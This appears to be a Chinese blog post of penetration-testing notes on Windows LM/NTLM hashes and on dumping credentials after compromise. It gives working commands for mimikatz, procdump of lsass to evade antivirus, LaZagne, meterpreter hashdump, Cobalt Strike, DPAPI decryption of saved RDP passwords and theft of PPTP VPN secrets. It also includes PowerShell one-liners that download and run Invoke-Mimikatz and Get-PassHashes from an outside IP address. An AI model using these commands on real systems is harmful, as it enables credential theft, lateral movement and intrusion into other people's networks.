admin管理员组文章数量:1637689
一、hash简介
1、Windows系统使用两种方法对用户的密码进行哈希处理。它们分别是LAN Manager(LM)哈希和
NT LAN Manager(NTLM)哈希
2、所谓哈希(hash),就是使用一种加密函数进行计算后的结果。这个加密函数对一个任意长度的
字符串数据进行一次数学加密函数运算,然后返回一个固定长度的字符串
3、现在已经有了更新的NTLMV2以及Kerberos验证体系
4、Windows加密过的密码口令;我们称之为hash,windows的系统密码hash默认情况下一般由两部
分组成:第一部分是LM-hash,第二部是NTLM-hash(以:分隔)
默认使用的是NTLM的哈希值(知道LM的哈希就行)
格式:
5、windows认证基础
windows的认证包括三个部分:(此处自己去了解)
①本地认证:用户直接操作计算机登录账号(平时登录)
1、用户输入密码
2、系统收到密码后将用户输入的密码计算成NTLM Hash
3、与sam数据库(安全账户管理器)(%SystemRoot%\system32\config\sam)中该用户的哈希比对
sam直接打是打不开的,需要安全模式或者其他方式,后续补充
4、匹配则登录成功,不匹配则登陆失败
5、NTLM哈希,是一种单向哈希算法,windows将用户的密码计算成NTLM哈希之后才存储在电脑。
6、本地认证中用来处理用户输入密码的进程为lsass.exe,密码会在这个进程中明文保存,供该进程
将密码计算成NTLM Hash与sam进行比对,我们使用mimikatz来获取的明文密码,便是在这个进
程中读取到的
简单的ntlm哈希可以进行解密
网址:md5在线解密破解,md5解密加密 (cmd5)
②网络认证:远程连接到工作组中的某个设备(远程ftp,文件共享)
③域认证:登录到域环境中的某个设备
二、系统用户密码凭证获取
1、凭证获取工具
①mimikatz(此处是2.0)
读取系统的密码和解密特定的加密的密码
win10下载地址:Releases · gentilkiwi/mimikatz (github)(可以不下载源码,下第二个)
一般都是非交互式,除非你拿到这个shell,传了此软件后,再交互执行
本地非交互式凭证获取:
直接以管理员权限运行mimikatz(交互式)
交互式测试可以按照①依次执行查看效果(拿到NLTM hash去尝试进行解密(不一定可解))
后期可以利用hash值横向渗透
privilege::debug token::list
①mimikatz.exe "log rs.txt" "privilege::debug" "token::elevate" "lsadump::sam" "exit"
获取明文密码:
②mimikatz.exe "log logon.txt" "privilege::debug" "sekurlsa::logonpasswords" "exit"
后面执行结果写入rs.txt 进行提权(调试模式:需要管理员权限) sam数据库中获取hash值
1.0版本命令:
privilege:debug //提升权限
inject:process lsass.exe sekurlsa.dll //注入sekurlsa.dll 到lsass.exe 进程里
@getLogonPasswords //获取密码
②powershell脚本
远程加载m脚本(获取系统当中明文密码)此方法不推荐使用
powershell lEX (New-Object Net.WebClient).DownloadString(http://47.101.214.85:8000/Invoke-MimikatZ.ps1');Invoke-Mimikatz -DumpCreds
别名 创建对象为Net.webClient 方法 (脚本存放位置:此处为vps服务器上) ;分隔 调用命令执行(请求vps脚本去加载)
python3 -m http.server 8080(用于测试和开发,在服务器的指定端口开启一个服务)
不知道命令作用含义可以 get-help 参数+百度翻译
powershell的基本使用(自己去了解)比cmd强大一点
脚本要会看
powershell lEX(new-object net.webclient)downloadstring(http://47.101.214.85:8000/Get-PassHashes.ps1');Get-PassHashes
列出了当前NTLM的哈希和lm的哈希
③wce
下载地址:Releases · returnvar/wce (github)Amplia Security - Research - Windows Credentials Editor (WCE)
方法2:kali中文件下载到windows机器中
kali中自带有/usr/share/windows-resources/wce,可以在kali中开个http服务,供下载
到需要开启下载的目录 ,这里以wce为示例:
cd /usr/share/windows-resources/wce
python3 -m http.server 11111(在11111号端口开启http服务)
此时可以在windows中访问 192.168.129.132:11111//usr/share/windows-resources/wce
此时就可以进行下载
ctrl+c退出服务(不放心可以netstat -anltup | grep 11111)
软件运行不了(后期再看)下载地址:Releases · returnvar/wce (github)
④pwddump7
下载地址:https://download.openwall/pub/projects/john/contrib/pwdump/pwdump7.zip
也运行不了
⑤ophcrack
下载地址:OphCrack 下载 |SourceForge
网站破解不了哈希值的话,配合彩虹表破解
彩虹表:
https://ophcrack.sourceforge.io/tables.phphttp://project-rainbowcrack/table.htm
⑥procdump+mimikatz
下载地址:ProcDump - Sysinternals | Microsoft Learn
微软的(有签名)可以绕过杀软
procdump lass进程导出
mimikatz执行需要免杀
⑦注册表导出hash
⑧lazagne
LaZagne.exe all
⑨meterpreter获取哈希(功能多,掉了不好搞)
hashdmp
需要管理员权限get system提权 之后直接执行hashdump里边也集成了mimikatz模块
⑩cobaltsritle获取哈希(cs方便一点)
得到shell会话后(不建议调为0容易被发现查杀)
b里边执行就行
例如在cs中通过upload上传wce到目标机器上(指定目录)
shell PwDump7.exe>1.txt
三、Powershell脚本获取RDP连接记录
脚本地址:https://github/3gstudent/List-RDP-Connections-History.git
powershell -exec bypass ./ListAllUsers.ps1(在当前脚本所在目录执行)加载powershell脚本(绕过运行策略限制)
powershell -f ListAllUsers.ps1(可能执行不了,策略原因(可以去修改规则))
有自己的规则(powershell)
知道当前的机器可以访问哪一个网段的ip以及用RDP链接(远程桌面连接)(横向的一个渗透)
1、本地RDP连接
在获取内网机器管理员权限后,查看是否有保存到本地的RDP连接密码,对保存到本地的RDP连
接密码进行解密解密成功后可使用此凭据继续横向移动。
①本地RDP连接密码解密
Mimikatz
查看本地机器本地连接过的目标机器:(也可以查看注册表)
reg query "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" /s
②查看本地用户此目录下是否存有RDP密码文件:
dir /a %userprofile%\AppData\Local\Microsoft\Credentials\*
③查看保存在本地的远程主机信息:
cmdkey /list
④选择一个密码文件对其进行解密
privilege::debug
dpapi::cred
/in:C:Users\mingy\AppData\Local\Microsoft\Credentials\1E85A94EE31F584E48488120E3ADA2
指定需要解密的文件(自己去找路径)
此处需要记录下guidMasterKey的值,待会要通过guidMasterKey找对应的Masterkey
sekurlsa::dpapi
通过Masterkey解密pbData数据,拿到明文RDP连接密码
dpapi::cred
/in:C:\Users\mingy\AppData\LocalMicrosoft\CredentialS\1E85A94EE31F584E484B8120E3ADA266/masterkey:f391aa638da6b6d846685f84660ee638bd6d3122214de34285b4dd3bd827a5c3925c5bd7a448c175457c19b2556c9f6f5248ef9256060a5b74c1264d3a5a99f8
windows上使用RDP连接时很普遍的一种情况
2、PPTP口令获取
PPTP:点对点隧道协议,可以使远程用户通过拨入ISP访问企业内网
在渗透测试中,如果获得了用户的PPTP口令,就能远程拨入内网,做进一步渗透。
需要拿到目标系统管理员权限
添加VPN连接
获取PPTP配置信息
type %APPDATA%\Microsoft\Network\Connections\Pbk\rasphone.pbk可获得PPTP连接的配置信
息,包括服务器IP,不包含连接用户名和口令
在此路径下:
没有添加vpn的话就不用找了(因为没有生成),自己可以去尝试以下,随便输入(你不需要有真实的vpn)
mimikatz获取PPTP密码mimikatz.exe privilege::debug token::elevate lsadump::secrets exit
命令行下连接VPN rasdial "VPN1" admin1 admin1@vpn
命令行关闭VPN连接 rasphone -h "VPN1"
通过这个vpn进入另一个网络(内网或者是别的网段)
目录
一、hash简介
二、系统用户密码凭证获取
三、Powershell脚本获取RDP连接记录
版权声明:本文标题:windows hash简介 内容由热心网友自发贡献,该文观点仅代表作者本人, 转载请联系作者并注明出处:https://m.elefans.com/dongtai/1729254734a1192537.html, 本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌抄袭侵权/违法违规的内容,一经查实,本站将立刻删除。
发表评论